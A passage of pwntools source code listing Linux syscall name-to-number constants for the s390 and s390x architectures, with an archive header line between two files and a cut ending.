SYS_bind = Constant('SYS_bind',361) SYS_bpf = Constant('SYS_bpf',351) SYS_brk = Constant('SYS_brk',45) SYS_capget = Constant('SYS_capget',184) SYS_capset = Constant('SYS_capset',185) SYS_chdir = Constant('SYS_chdir',12) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',182) SYS_chown32 = Constant('SYS_chown32',212) SYS_chroot = Constant('SYS_chroot',61) SYS_clock_adjtime = Constant('SYS_clock_adjtime',337) SYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',405) SYS_clock_getres = Constant('SYS_clock_getres',(254+7)) SYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',406) SYS_clock_gettime = Constant('SYS_clock_gettime',(254+6)) SYS_clock_gettime64 = Constant('SYS_clock_gettime64',403) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(254+8)) SYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',407) SYS_clock_settime = Constant('SYS_clock_settime',(254+5)) SYS_clock_settime64 = Constant('SYS_clock_settime64',404) SYS_clone = Constant('SYS_clone',120) SYS_clone3 = Constant('SYS_clone3',435) SYS_close = Constant('SYS_close',6) SYS_connect = Constant('SYS_connect',362) SYS_copy_file_range = Constant('SYS_copy_file_range',375) SYS_creat = Constant('SYS_creat',8) SYS_create_module = Constant('SYS_create_module',127) SYS_delete_module = Constant('SYS_delete_module',129) SYS_dup = Constant('SYS_dup',41) SYS_dup2 = Constant('SYS_dup2',63) SYS_dup3 = Constant('SYS_dup3',326) SYS_epoll_create = Constant('SYS_epoll_create',249) SYS_epoll_create1 = Constant('SYS_epoll_create1',327) SYS_epoll_ctl = Constant('SYS_epoll_ctl',250) SYS_epoll_pwait = Constant('SYS_epoll_pwait',312) SYS_epoll_wait = Constant('SYS_epoll_wait',251) SYS_eventfd = Constant('SYS_eventfd',318) SYS_eventfd2 = Constant('SYS_eventfd2',323) SYS_execve = Constant('SYS_execve',11) SYS_execveat = Constant('SYS_execveat',354) SYS_exit = Constant('SYS_exit',1) SYS_exit_group = Constant('SYS_exit_group',248) SYS_faccessat = Constant('SYS_faccessat',300) SYS_fadvise64 = Constant('SYS_fadvise64',253) SYS_fadvise64_64 = Constant('SYS_fadvise64_64',264) SYS_fallocate = Constant('SYS_fallocate',314) SYS_fanotify_init = Constant('SYS_fanotify_init',332) SYS_fanotify_mark = Constant('SYS_fanotify_mark',333) SYS_fchdir = Constant('SYS_fchdir',133) SYS_fchmod = Constant('SYS_fchmod',94) SYS_fchmodat = Constant('SYS_fchmodat',299) SYS_fchown = Constant('SYS_fchown',95) SYS_fchown32 = Constant('SYS_fchown32',207) SYS_fchownat = Constant('SYS_fchownat',291) SYS_fcntl = Constant('SYS_fcntl',55) SYS_fcntl64 = Constant('SYS_fcntl64',221) SYS_fdatasync = Constant('SYS_fdatasync',148) SYS_fgetxattr = Constant('SYS_fgetxattr',229) SYS_finit_module = Constant('SYS_finit_module',344) SYS_flistxattr = Constant('SYS_flistxattr',232) SYS_flock = Constant('SYS_flock',143) SYS_fork = Constant('SYS_fork',2) SYS_fremovexattr = Constant('SYS_fremovexattr',235) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',226) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',108) SYS_fstat64 = Constant('SYS_fstat64',197) SYS_fstatat64 = Constant('SYS_fstatat64',293) SYS_fstatfs = Constant('SYS_fstatfs',100) SYS_fstatfs64 = Constant('SYS_fstatfs64',266) SYS_fsync = Constant('SYS_fsync',118) SYS_ftruncate = Constant('SYS_ftruncate',93) SYS_ftruncate64 = Constant('SYS_ftruncate64',194) SYS_futex = Constant('SYS_futex',238) SYS_futex_time64 = Constant('SYS_futex_time64',422) SYS_futimesat = Constant('SYS_futimesat',292) SYS_getcpu = Constant('SYS_getcpu',311) SYS_getcwd = Constant('SYS_getcwd',183) SYS_getdents = Constant('SYS_getdents',141) SYS_getdents64 = Constant('SYS_getdents64',220) SYS_getegid = Constant('SYS_getegid',50) SYS_getegid32 = Constant('SYS_getegid32',202) SYS_geteuid = Constant('SYS_geteuid',49) SYS_geteuid32 = Constant('SYS_geteuid32',201) SYS_getgid = Constant('SYS_getgid',47) SYS_getgid32 = Constant('SYS_getgid32',200) SYS_getgroups = Constant('SYS_getgroups',80) SYS_getgroups32 = Constant('SYS_getgroups32',205) SYS_getitimer = Constant('SYS_getitimer',105) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130) SYS_get_mempolicy = Constant('SYS_get_mempolicy',269) SYS_getpeername = Constant('SYS_getpeername',368) SYS_getpgid = Constant('SYS_getpgid',132) SYS_getpgrp = Constant('SYS_getpgrp',65) SYS_getpid = Constant('SYS_getpid',20) SYS_getpmsg = Constant('SYS_getpmsg',188) SYS_getppid = Constant('SYS_getppid',64) SYS_getpriority = Constant('SYS_getpriority',96) SYS_getrandom = Constant('SYS_getrandom',349) SYS_getresgid = Constant('SYS_getresgid',171) SYS_getresgid32 = Constant('SYS_getresgid32',211) SYS_getresuid = Constant('SYS_getresuid',165) SYS_getresuid32 = Constant('SYS_getresuid32',209) SYS_getrlimit = Constant('SYS_getrlimit',76) SYS_get_robust_list = Constant('SYS_get_robust_list',305) SYS_getrusage = Constant('SYS_getrusage',77) SYS_getsid = Constant('SYS_getsid',147) SYS_getsockname = Constant('SYS_getsockname',367) SYS_getsockopt = Constant('SYS_getsockopt',365) SYS_gettid = Constant('SYS_gettid',236) SYS_gettimeofday = Constant('SYS_gettimeofday',78) SYS_getuid = Constant('SYS_getuid',24) SYS_getuid32 = Constant('SYS_getuid32',199) SYS_getxattr = Constant('SYS_getxattr',227) SYS_idle = Constant('SYS_idle',112) SYS_init_module = Constant('SYS_init_module',128) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',285) SYS_inotify_init = Constant('SYS_inotify_init',284) SYS_inotify_init1 = Constant('SYS_inotify_init1',324) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',286) SYS_io_cancel = Constant('SYS_io_cancel',247) SYS_ioctl = Constant('SYS_ioctl',54) SYS_io_destroy = Constant('SYS_io_destroy',244) SYS_io_getevents = Constant('SYS_io_getevents',245) SYS_ioperm = Constant('SYS_ioperm',101) SYS_io_pgetevents = Constant('SYS_io_pgetevents',382) SYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',416) SYS_ioprio_get = Constant('SYS_ioprio_get',283) SYS_ioprio_set = Constant('SYS_ioprio_set',282) SYS_io_setup = Constant('SYS_io_setup',243) SYS_io_submit = Constant('SYS_io_submit',246) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_ipc = Constant('SYS_ipc',117) SYS_kcmp = Constant('SYS_kcmp',343) SYS_kexec_file_load = Constant('SYS_kexec_file_load',381) SYS_kexec_load = Constant('SYS_kexec_load',277) SYS_keyctl = Constant('SYS_keyctl',280) SYS_kill = Constant('SYS_kill',37) SYS_lchown = Constant('SYS_lchown',16) SYS_lchown32 = Constant('SYS_lchown32',198) SYS_lgetxattr = Constant('SYS_lgetxattr',228) SYS_link = Constant('SYS_link',9) SYS_linkat = Constant('SYS_linkat',296) SYS_listen = Constant('SYS_listen',363) SYS_listxattr = Constant('SYS_listxattr',230) SYS_llistxattr = Constant('SYS_llistxattr',231) SYS__llseek = Constant('SYS__llseek',140) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',110) SYS_lremovexattr = Constant('SYS_lremovexattr',234) SYS_lseek = Constant('SYS_lseek',19) SYS_lsetxattr = Constant('SYS_lsetxattr',225) SYS_lstat = Constant('SYS_lstat',107) SYS_lstat64 = Constant('SYS_lstat64',196) SYS_madvise = Constant('SYS_madvise',219) SYS_mbind = Constant('SYS_mbind',268) SYS_membarrier = Constant('SYS_membarrier',356) SYS_memfd_create = Constant('SYS_memfd_create',350) SYS_migrate_pages = Constant('SYS_migrate_pages',287) SYS_mincore = Constant('SYS_mincore',218) SYS_mkdir = Constant('SYS_mkdir',39) SYS_mkdirat = Constant('SYS_mkdirat',289) SYS_mknod = Constant('SYS_mknod',14) SYS_mknodat = Constant('SYS_mknodat',290) SYS_mlock = Constant('SYS_mlock',150) SYS_mlock2 = Constant('SYS_mlock2',374) SYS_mlockall = Constant('SYS_mlockall',152) SYS_mmap = Constant('SYS_mmap',90) SYS_mmap2 = Constant('SYS_mmap2',192) SYS_mount = Constant('SYS_mount',21) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',310) SYS_mprotect = Constant('SYS_mprotect',125) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',276) SYS_mq_notify = Constant('SYS_mq_notify',275) SYS_mq_open = Constant('SYS_mq_open',271) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',274) SYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',419) SYS_mq_timedsend = Constant('SYS_mq_timedsend',273) SYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',418) SYS_mq_unlink = Constant('SYS_mq_unlink',272) SYS_mremap = Constant('SYS_mremap',163) SYS_msgctl = Constant('SYS_msgctl',402) SYS_msgget = Constant('SYS_msgget',399) SYS_msgrcv = Constant('SYS_msgrcv',401) SYS_msgsnd = Constant('SYS_msgsnd',400) SYS_msync = Constant('SYS_msync',144) SYS_munlock = Constant('SYS_munlock',151) SYS_munlockall = Constant('SYS_munlockall',153) SYS_munmap = Constant('SYS_munmap',91) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',335) SYS_nanosleep = Constant('SYS_nanosleep',162) SYS__newselect = Constant('SYS__newselect',142) SYS_nfsservctl = Constant('SYS_nfsservctl',169) SYS_nice = Constant('SYS_nice',34) SYS_open = Constant('SYS_open',5) SYS_openat = Constant('SYS_openat',288) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',336) SYS_open_tree = Constant('SYS_open_tree',428) SYS_pause = Constant('SYS_pause',29) SYS_perf_event_open = Constant('SYS_perf_event_open',331) SYS_personality = Constant('SYS_personality',136) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe = Constant('SYS_pipe',42) SYS_pipe2 = Constant('SYS_pipe2',325) SYS_pivot_root = Constant('SYS_pivot_root',217) SYS_pkey_alloc = Constant('SYS_pkey_alloc',385) SYS_pkey_free = Constant('SYS_pkey_free',386) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',384) SYS_poll = Constant('SYS_poll',168) SYS_ppoll = Constant('SYS_ppoll',302) SYS_ppoll_time64 = Constant('SYS_ppoll_time64',414) SYS_prctl = Constant('SYS_prctl',172) SYS_pread64 = Constant('SYS_pread64',180) SYS_preadv = Constant('SYS_preadv',328) SYS_preadv2 = Constant('SYS_preadv2',376) SYS_prlimit64 = Constant('SYS_prlimit64',334) SYS_process_vm_readv = Constant('SYS_process_vm_readv',340) SYS_process_vm_writev = Constant('SYS_process_vm_writev',341) SYS_pselect6 = Constant('SYS_pselect6',301) SYS_pselect6_time64 = Constant('SYS_pselect6_time64',413) SYS_ptrace = Constant('SYS_ptrace',26) SYS_putpmsg = Constant('SYS_putpmsg',189) SYS_pwrite64 = Constant('SYS_pwrite64',181) SYS_pwritev = Constant('SYS_pwritev',329) SYS_pwritev2 = Constant('SYS_pwritev2',377) SYS_query_module = Constant('SYS_query_module',167) SYS_quotactl = Constant('SYS_quotactl',131) SYS_read = Constant('SYS_read',3) SYS_readahead = Constant('SYS_readahead',222) SYS_readdir = Constant('SYS_readdir',89) SYS_readlink = Constant('SYS_readlink',85) SYS_readlinkat = Constant('SYS_readlinkat',298) SYS_readv = Constant('SYS_readv',145) SYS_reboot = Constant('SYS_reboot',88) SYS_recvfrom = Constant('SYS_recvfrom',371) SYS_recvmmsg = Constant('SYS_recvmmsg',357) SYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',417) SYS_recvmsg = Constant('SYS_recvmsg',372) SYS_remap_file_pages = Constant('SYS_remap_file_pages',267) SYS_removexattr = Constant('SYS_removexattr',233) SYS_rename = Constant('SYS_rename',38) SYS_renameat = Constant('SYS_renameat',295) SYS_renameat2 = Constant('SYS_renameat2',347) SYS_request_key = Constant('SYS_request_key',279) SYS_restart_syscall = Constant('SYS_restart_syscall',7) SYS_rmdir = Constant('SYS_rmdir',40) SYS_rseq = Constant('SYS_rseq',383) SYS_rt_sigaction = Constant('SYS_rt_sigaction',174) SYS_rt_sigpending = Constant('SYS_rt_sigpending',176) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',175) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',178) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',173) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',179) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',177) SYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',421) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',330) SYS_s390_guarded_storage = Constant('SYS_s390_guarded_storage',378) SYS_s390_pci_mmio_read = Constant('SYS_s390_pci_mmio_read',353) SYS_s390_pci_mmio_write = Constant('SYS_s390_pci_mmio_write',352) SYS_s390_runtime_instr = Constant('SYS_s390_runtime_instr',342) SYS_s390_sthyi = Constant('SYS_s390_sthyi',380) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',240) SYS_sched_getattr = Constant('SYS_sched_getattr',346) SYS_sched_getparam = Constant('SYS_sched_getparam',155) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161) SYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',423) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',239) SYS_sched_setattr = Constant('SYS_sched_setattr',345) SYS_sched_setparam = Constant('SYS_sched_setparam',154) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156) SYS_sched_yield = Constant('SYS_sched_yield',158) SYS_seccomp = Constant('SYS_seccomp',348) SYS_semctl = Constant('SYS_semctl',394) SYS_semget = Constant('SYS_semget',393) SYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',420) SYS_sendfile = Constant('SYS_sendfile',187) SYS_sendfile64 = Constant('SYS_sendfile64',223) SYS_sendmmsg = Constant('SYS_sendmmsg',358) SYS_sendmsg = Constant('SYS_sendmsg',370) SYS_sendto = Constant('SYS_sendto',369) SYS_setdomainname = Constant('SYS_setdomainname',121) SYS_setfsgid = Constant('SYS_setfsgid',139) SYS_setfsgid32 = Constant('SYS_setfsgid32',216) SYS_setfsuid = Constant('SYS_setfsuid',138) SYS_setfsuid32 = Constant('SYS_setfsuid32',215) SYS_setgid = Constant('SYS_setgid',46) SYS_setgid32 = Constant('SYS_setgid32',214) SYS_setgroups = Constant('SYS_setgroups',81) SYS_setgroups32 = Constant('SYS_setgroups32',206) SYS_sethostname = Constant('SYS_sethostname',74) SYS_setitimer = Constant('SYS_setitimer',104) SYS_set_mempolicy = Constant('SYS_set_mempolicy',270) SYS_setns = Constant('SYS_setns',339) SYS_setpgid = Constant('SYS_setpgid',57) SYS_setpriority = Constant('SYS_setpriority',97) SYS_setregid = Constant('SYS_setregid',71) SYS_setregid32 = Constant('SYS_setregid32',204) SYS_setresgid = Constant('SYS_setresgid',170) SYS_setresgid32 = Constant('SYS_setresgid32',210) SYS_setresuid = Constant('SYS_setresuid',164) SYS_setresuid32 = Constant('SYS_setresuid32',208) SYS_setreuid = Constant('SYS_setreuid',70) SYS_setreuid32 = Constant('SYS_setreuid32',203) SYS_setrlimit = Constant('SYS_setrlimit',75) SYS_set_robust_list = Constant('SYS_set_robust_list',304) SYS_setsid = Constant('SYS_setsid',66) SYS_setsockopt = Constant('SYS_setsockopt',366) SYS_set_tid_address = Constant('SYS_set_tid_address',252) SYS_settimeofday = Constant('SYS_settimeofday',79) SYS_setuid = Constant('SYS_setuid',23) SYS_setuid32 = Constant('SYS_setuid32',213) SYS_setxattr = Constant('SYS_setxattr',224) SYS_shmat = Constant('SYS_shmat',397) SYS_shmctl = Constant('SYS_shmctl',396) SYS_shmdt = Constant('SYS_shmdt',398) SYS_shmget = Constant('SYS_shmget',395) SYS_shutdown = Constant('SYS_shutdown',373) SYS_sigaction = Constant('SYS_sigaction',67) SYS_sigaltstack = Constant('SYS_sigaltstack',186) SYS_signal = Constant('SYS_signal',48) SYS_signalfd = Constant('SYS_signalfd',316) SYS_signalfd4 = Constant('SYS_signalfd4',322) SYS_sigpending = Constant('SYS_sigpending',73) SYS_sigprocmask = Constant('SYS_sigprocmask',126) SYS_sigreturn = Constant('SYS_sigreturn',119) SYS_sigsuspend = Constant('SYS_sigsuspend',72) SYS_socket = Constant('SYS_socket',359) SYS_socketcall = Constant('SYS_socketcall',102) SYS_socketpair = Constant('SYS_socketpair',360) SYS_splice = Constant('SYS_splice',306) SYS_stat = Constant('SYS_stat',106) SYS_stat64 = Constant('SYS_stat64',195) SYS_statfs = Constant('SYS_statfs',99) SYS_statfs64 = Constant('SYS_statfs64',265) SYS_statx = Constant('SYS_statx',379) SYS_stime = Constant('SYS_stime',25) SYS_swapoff = Constant('SYS_swapoff',115) SYS_swapon = Constant('SYS_swapon',87) SYS_symlink = Constant('SYS_symlink',83) SYS_symlinkat = Constant('SYS_symlinkat',297) SYS_sync = Constant('SYS_sync',36) SYS_sync_file_range = Constant('SYS_sync_file_range',307) SYS_syncfs = Constant('SYS_syncfs',338) SYS__sysctl = Constant('SYS__sysctl',149) SYS_sysfs = Constant('SYS_sysfs',135) SYS_sysinfo = Constant('SYS_sysinfo',116) SYS_syslog = Constant('SYS_syslog',103) SYS_tee = Constant('SYS_tee',308) SYS_tgkill = Constant('SYS_tgkill',241) SYS_time = Constant('SYS_time',13) SYS_timer_create = Constant('SYS_timer_create',254) SYS_timer_delete = Constant('SYS_timer_delete',(254+4)) SYS_timerfd = Constant('SYS_timerfd',317) SYS_timerfd_create = Constant('SYS_timerfd_create',319) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',321) SYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',410) SYS_timerfd_settime = Constant('SYS_timerfd_settime',320) SYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',411) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(254+3)) SYS_timer_gettime = Constant('SYS_timer_gettime',(254+2)) SYS_timer_gettime64 = Constant('SYS_timer_gettime64',408) SYS_timer_settime = Constant('SYS_timer_settime',(254+1)) SYS_timer_settime64 = Constant('SYS_timer_settime64',409) SYS_times = Constant('SYS_times',43) SYS_tkill = Constant('SYS_tkill',237) SYS_truncate = Constant('SYS_truncate',92) SYS_truncate64 = Constant('SYS_truncate64',193) SYS_ugetrlimit = Constant('SYS_ugetrlimit',191) SYS_umask = Constant('SYS_umask',60) SYS_umount = Constant('SYS_umount',22) SYS_umount2 = Constant('SYS_umount2',52) SYS_uname = Constant('SYS_uname',122) SYS_unlink = Constant('SYS_unlink',10) SYS_unlinkat = Constant('SYS_unlinkat',294) SYS_unshare = Constant('SYS_unshare',303) SYS_uselib = Constant('SYS_uselib',86) SYS_userfaultfd = Constant('SYS_userfaultfd',355) SYS_ustat = Constant('SYS_ustat',62) SYS_utime = Constant('SYS_utime',30) SYS_utimensat = Constant('SYS_utimensat',315) SYS_utimensat_time64 = Constant('SYS_utimensat_time64',412) SYS_utimes = Constant('SYS_utimes',313) SYS_vfork = Constant('SYS_vfork',190) SYS_vhangup = Constant('SYS_vhangup',111) SYS_vmsplice = Constant('SYS_vmsplice',309) SYS_wait4 = Constant('SYS_wait4',114) SYS_waitid = Constant('SYS_waitid',281) SYS_write = Constant('SYS_write',4) SYS_writev = Constant('SYS_writev',146) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/s390x.py000066400000000000000000001710511507273764500241150ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_exit = Constant('__NR_exit',1) __NR_fork = Constant('__NR_fork',2) __NR_read = Constant('__NR_read',3) __NR_write = Constant('__NR_write',4) __NR_open = Constant('__NR_open',5) __NR_close = Constant('__NR_close',6) __NR_restart_syscall = Constant('__NR_restart_syscall',7) __NR_creat = Constant('__NR_creat',8) __NR_link = Constant('__NR_link',9) __NR_unlink = Constant('__NR_unlink',10) __NR_execve = Constant('__NR_execve',11) __NR_chdir = Constant('__NR_chdir',12) __NR_mknod = Constant('__NR_mknod',14) __NR_chmod = Constant('__NR_chmod',15) __NR_lseek = Constant('__NR_lseek',19) __NR_getpid = Constant('__NR_getpid',20) __NR_mount = Constant('__NR_mount',21) __NR_umount = Constant('__NR_umount',22) __NR_ptrace = Constant('__NR_ptrace',26) __NR_alarm = Constant('__NR_alarm',27) __NR_pause = Constant('__NR_pause',29) __NR_utime = Constant('__NR_utime',30) __NR_access = Constant('__NR_access',33) __NR_nice = Constant('__NR_nice',34) __NR_sync = Constant('__NR_sync',36) __NR_kill = Constant('__NR_kill',37) __NR_rename = Constant('__NR_rename',38) __NR_mkdir = Constant('__NR_mkdir',39) __NR_rmdir = Constant('__NR_rmdir',40) __NR_dup = Constant('__NR_dup',41) __NR_pipe = Constant('__NR_pipe',42) __NR_times = Constant('__NR_times',43) __NR_brk = Constant('__NR_brk',45) __NR_signal = Constant('__NR_signal',48) __NR_acct = Constant('__NR_acct',51) __NR_umount2 = Constant('__NR_umount2',52) __NR_ioctl = Constant('__NR_ioctl',54) __NR_fcntl = Constant('__NR_fcntl',55) __NR_setpgid = Constant('__NR_setpgid',57) __NR_umask = Constant('__NR_umask',60) __NR_chroot = Constant('__NR_chroot',61) __NR_ustat = Constant('__NR_ustat',62) __NR_dup2 = Constant('__NR_dup2',63) __NR_getppid = Constant('__NR_getppid',64) __NR_getpgrp = Constant('__NR_getpgrp',65) __NR_setsid = Constant('__NR_setsid',66) __NR_sigaction = Constant('__NR_sigaction',67) __NR_sigsuspend = Constant('__NR_sigsuspend',72) __NR_sigpending = Constant('__NR_sigpending',73) __NR_sethostname = Constant('__NR_sethostname',74) __NR_setrlimit = Constant('__NR_setrlimit',75) __NR_getrusage = Constant('__NR_getrusage',77) __NR_gettimeofday = Constant('__NR_gettimeofday',78) __NR_settimeofday = Constant('__NR_settimeofday',79) __NR_symlink = Constant('__NR_symlink',83) __NR_readlink = Constant('__NR_readlink',85) __NR_uselib = Constant('__NR_uselib',86) __NR_swapon = Constant('__NR_swapon',87) __NR_reboot = Constant('__NR_reboot',88) __NR_readdir = Constant('__NR_readdir',89) __NR_mmap = Constant('__NR_mmap',90) __NR_munmap = Constant('__NR_munmap',91) __NR_truncate = Constant('__NR_truncate',92) __NR_ftruncate = Constant('__NR_ftruncate',93) __NR_fchmod = Constant('__NR_fchmod',94) __NR_getpriority = Constant('__NR_getpriority',96) __NR_setpriority = Constant('__NR_setpriority',97) __NR_statfs = Constant('__NR_statfs',99) __NR_fstatfs = Constant('__NR_fstatfs',100) __NR_socketcall = Constant('__NR_socketcall',102) __NR_syslog = Constant('__NR_syslog',103) __NR_setitimer = Constant('__NR_setitimer',104) __NR_getitimer = Constant('__NR_getitimer',105) __NR_stat = Constant('__NR_stat',106) __NR_lstat = Constant('__NR_lstat',107) __NR_fstat = Constant('__NR_fstat',108) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',110) __NR_vhangup = Constant('__NR_vhangup',111) __NR_idle = Constant('__NR_idle',112) __NR_wait4 = Constant('__NR_wait4',114) __NR_swapoff = Constant('__NR_swapoff',115) __NR_sysinfo = Constant('__NR_sysinfo',116) __NR_ipc = Constant('__NR_ipc',117) __NR_fsync = Constant('__NR_fsync',118) __NR_sigreturn = Constant('__NR_sigreturn',119) __NR_clone = Constant('__NR_clone',120) __NR_setdomainname = Constant('__NR_setdomainname',121) __NR_uname = Constant('__NR_uname',122) __NR_adjtimex = Constant('__NR_adjtimex',124) __NR_mprotect = Constant('__NR_mprotect',125) __NR_sigprocmask = Constant('__NR_sigprocmask',126) __NR_create_module = Constant('__NR_create_module',127) __NR_init_module = Constant('__NR_init_module',128) __NR_delete_module = Constant('__NR_delete_module',129) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130) __NR_quotactl = Constant('__NR_quotactl',131) __NR_getpgid = Constant('__NR_getpgid',132) __NR_fchdir = Constant('__NR_fchdir',133) __NR_bdflush = Constant('__NR_bdflush',134) __NR_sysfs = Constant('__NR_sysfs',135) __NR_personality = Constant('__NR_personality',136) __NR_afs_syscall = Constant('__NR_afs_syscall',137) __NR_getdents = Constant('__NR_getdents',141) __NR_select = Constant('__NR_select',142) __NR_flock = Constant('__NR_flock',143) __NR_msync = Constant('__NR_msync',144) __NR_readv = Constant('__NR_readv',145) __NR_writev = Constant('__NR_writev',146) __NR_getsid = Constant('__NR_getsid',147) __NR_fdatasync = Constant('__NR_fdatasync',148) __NR__sysctl = Constant('__NR__sysctl',149) __NR_mlock = Constant('__NR_mlock',150) __NR_munlock = Constant('__NR_munlock',151) __NR_mlockall = Constant('__NR_mlockall',152) __NR_munlockall = Constant('__NR_munlockall',153) __NR_sched_setparam = Constant('__NR_sched_setparam',154) __NR_sched_getparam = Constant('__NR_sched_getparam',155) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157) __NR_sched_yield = Constant('__NR_sched_yield',158) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161) __NR_nanosleep = Constant('__NR_nanosleep',162) __NR_mremap = Constant('__NR_mremap',163) __NR_query_module = Constant('__NR_query_module',167) __NR_poll = Constant('__NR_poll',168) __NR_nfsservctl = Constant('__NR_nfsservctl',169) __NR_prctl = Constant('__NR_prctl',172) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',173) __NR_rt_sigaction = Constant('__NR_rt_sigaction',174) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',175) __NR_rt_sigpending = Constant('__NR_rt_sigpending',176) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',177) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',178) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',179) __NR_pread64 = Constant('__NR_pread64',180) __NR_pwrite64 = Constant('__NR_pwrite64',181) __NR_getcwd = Constant('__NR_getcwd',183) __NR_capget = Constant('__NR_capget',184) __NR_capset = Constant('__NR_capset',185) __NR_sigaltstack = Constant('__NR_sigaltstack',186) __NR_sendfile = Constant('__NR_sendfile',187) __NR_getpmsg = Constant('__NR_getpmsg',188) __NR_putpmsg = Constant('__NR_putpmsg',189) __NR_vfork = Constant('__NR_vfork',190) __NR_getrlimit = Constant('__NR_getrlimit',191) __NR_lchown = Constant('__NR_lchown',198) __NR_getuid = Constant('__NR_getuid',199) __NR_getgid = Constant('__NR_getgid',200) __NR_geteuid = Constant('__NR_geteuid',201) __NR_getegid = Constant('__NR_getegid',202) __NR_setreuid = Constant('__NR_setreuid',203) __NR_setregid = Constant('__NR_setregid',204) __NR_getgroups = Constant('__NR_getgroups',205) __NR_setgroups = Constant('__NR_setgroups',206) __NR_fchown = Constant('__NR_fchown',207) __NR_setresuid = Constant('__NR_setresuid',208) __NR_getresuid = Constant('__NR_getresuid',209) __NR_setresgid = Constant('__NR_setresgid',210) __NR_getresgid = Constant('__NR_getresgid',211) __NR_chown = Constant('__NR_chown',212) __NR_setuid = Constant('__NR_setuid',213) __NR_setgid = Constant('__NR_setgid',214) __NR_setfsuid = Constant('__NR_setfsuid',215) __NR_setfsgid = Constant('__NR_setfsgid',216) __NR_pivot_root = Constant('__NR_pivot_root',217) __NR_mincore = Constant('__NR_mincore',218) __NR_madvise = Constant('__NR_madvise',219) __NR_getdents64 = Constant('__NR_getdents64',220) __NR_readahead = Constant('__NR_readahead',222) __NR_setxattr = Constant('__NR_setxattr',224) __NR_lsetxattr = Constant('__NR_lsetxattr',225) __NR_fsetxattr = Constant('__NR_fsetxattr',226) __NR_getxattr = Constant('__NR_getxattr',227) __NR_lgetxattr = Constant('__NR_lgetxattr',228) __NR_fgetxattr = Constant('__NR_fgetxattr',229) __NR_listxattr = Constant('__NR_listxattr',230) __NR_llistxattr = Constant('__NR_llistxattr',231) __NR_flistxattr = Constant('__NR_flistxattr',232) __NR_removexattr = Constant('__NR_removexattr',233) __NR_lremovexattr = Constant('__NR_lremovexattr',234) __NR_fremovexattr = Constant('__NR_fremovexattr',235) __NR_gettid = Constant('__NR_gettid',236) __NR_tkill = Constant('__NR_tkill',237) __NR_futex = Constant('__NR_futex',238) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',239) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',240) __NR_tgkill = Constant('__NR_tgkill',241) __NR_io_setup = Constant('__NR_io_setup',243) __NR_io_destroy = Constant('__NR_io_destroy',244) __NR_io_getevents = Constant('__NR_io_getevents',245) __NR_io_submit = Constant('__NR_io_submit',246) __NR_io_cancel = Constant('__NR_io_cancel',247) __NR_exit_group = Constant('__NR_exit_group',248) __NR_epoll_create = 